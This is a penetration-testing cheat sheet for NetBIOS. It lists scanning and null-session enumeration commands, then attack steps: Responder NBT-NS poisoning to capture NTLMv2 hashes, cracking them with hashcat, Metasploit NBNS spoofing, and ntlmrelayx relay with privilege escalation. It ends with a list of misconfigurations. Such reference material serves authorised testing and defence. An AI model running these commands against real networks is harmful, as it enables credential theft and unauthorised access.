NetBIOS

Default Ports: 137 (Name Service), 138 (Datagram), 139 (Session)

NetBIOS (Network Basic Input/Output System) is a network protocol that allows applications on different computers to communicate within a local area network (LAN). It provides services for name resolution, session management, and datagram distribution. NetBIOS is commonly used in Windows networks and often runs alongside SMB. While largely replaced by modern protocols, NetBIOS is still found in many Windows environments.

Connect​

Using nbtscan​

The nbtscan tool efficiently scans networks for NetBIOS name information on Windows hosts:

# Scan network for NetBIOS names  
nbtscan 192.168.1.0/24  
  
# Scan specific host  
nbtscan target.com  
  
# Verbose output  
nbtscan -v target.com  
  
# Output to file  
nbtscan 192.168.1.0/24 > netbios_scan.txt  

Using nmblookup​

# Lookup NetBIOS name  
nmblookup -A target.com  
  
# Reverse lookup  
nmblookup target  
  
# Find master browser  
nmblookup -M -- -  
  
# Find workgroup  
nmblookup -d 2 '*'  

Recon​

Service Detection with Nmap​

Use Nmap to detect NetBIOS services and identify server capabilities.

nmap -p 137,138,139 target.com  

NetBIOS Name Enumeration​

NetBIOS names provide valuable information about computer names, workgroups, domains, and running services on Windows systems:

# Using nbtscan  
nbtscan -r 192.168.1.0/24  
  
# Using nmap  
nmap -sU -p 137 --script nbstat target.com  
  
# Using nmblookup  
nmblookup -A 192.168.1.100  
  
# Output interpretation:  
# <00> = Workstation  
# <03> = Messenger service  
# <20> = Server service  
# <1B> = Domain Master Browser  
# <1D> = Master Browser  

Enumeration​

Null Session Enumeration​

Null sessions exploit Windows' default behavior of allowing anonymous connections to enumerate sensitive information:

# Using enum4linux  
enum4linux -a target.com  
  
# Enumerate users  
enum4linux -U target.com  
  
# Enumerate shares  
enum4linux -S target.com  
  
# Get password policy  
enum4linux -P target.com  
  
# Using rpcclient  
rpcclient -U "" target.com  
# Hit enter for blank password  
rpcclient $> enumdomusers  
rpcclient $> enumdomgroups  
rpcclient $> queryuser 500  

Share Enumeration​

NetBIOS can reveal shared folders and their permissions, often exposing sensitive data:

# List shares via NetBIOS  
smbclient -L //target.com -N  
  
# Using nmap  
nmap -p 139,445 --script smb-enum-shares target.com  
  
# Check share permissions  
smbmap -H target.com  
smbmap -H target.com -u guest  

Attack Vectors​

NetBIOS Name Spoofing​

# Using Responder to capture hashes  
sudo responder -I eth0 -wrf  
  
# NBT-NS poisoning  
# When victim searches for \\fileserver  
# Responder responds with attacker IP  
# Victim connects and sends credentials  
  
# Captured NTLMv2 hash can be cracked  
hashcat -m 5600 hash.txt rockyou.txt  

NBT-NS Poisoning​

# Using Metasploit  
use auxiliary/spoof/nbns/nbns_response  
set INTERFACE eth0  
set SPOOFIP attacker-ip  
run  
  
# Victims will connect to attacker's IP  
# Capture credentials or perform MITM  

Post-Exploitation​

Information Gathering​

# Get computer name, domain, users  
enum4linux -a target.com > netbios_enum.txt  
  
# Parse interesting information  
grep "Domain Name" netbios_enum.txt  
grep "Domain SID" netbios_enum.txt  
grep "Password Info" netbios_enum.txt  

Credential Relay​

# Captured NetBIOS authentication can be relayed  
# Using ntlmrelayx  
  
ntlmrelayx.py -t target.com -smb2support  
  
# Or relay to LDAP  
ntlmrelayx.py -t ldap://dc.domain.com --escalate-user lowpriv_user  

NetBIOS Name Suffixes​

Suffix| Type| Description
---|---|---
<00>| U| Workstation/Redirector
<03>| U| Messenger Service
<06>| U| RAS Server Service
<1B>| U| Domain Master Browser
<1C>| G| Domain Controllers
<1D>| U| Master Browser
<1E>| G| Browser Service Elections
<20>| U| File Server Service

Common Commands​

Command| Description| Usage
---|---|---
nbtscan| NetBIOS scanner| nbtscan 192.168.1.0/24
nmblookup| NetBIOS lookup| nmblookup -A target.com
enum4linux| Enumeration tool| enum4linux -a target.com
rpcclient| RPC client| rpcclient -U "" target.com

Useful Tools​

Tool| Description| Primary Use Case
---|---|---
nbtscan| NetBIOS scanner| Network enumeration
enum4linux| SMB/NetBIOS enum| Information gathering
Responder| LLMNR/NBT-NS poisoner| Credential capture
nmblookup| NetBIOS lookup| Name resolution
rpcclient| RPC interaction| Null session enum
Metasploit| Exploitation framework| Automated testing

Security Misconfigurations​

• ❌ NetBIOS enabled on internet-facing hosts
• ❌ Null session allowed
• ❌ No SMB signing
• ❌ NBT-NS/LLMNR enabled
• ❌ Guest account enabled
• ❌ Weak share permissions
• ❌ No network segmentation
• ❌ Information leakage via NetBIOS